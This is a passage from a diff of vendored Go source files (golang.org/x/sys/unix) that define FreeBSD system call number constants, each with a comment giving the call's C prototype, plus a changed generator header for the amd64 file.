-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-index 81722ac9..48a7beae 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
-- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-- SYS_SETGID = 181 // { int setgid(gid_t gid); }
-- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-- SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-- SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-- SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, \
-- SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, \
-- SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, \
-- SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, \
-- SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, \
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, \
-- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
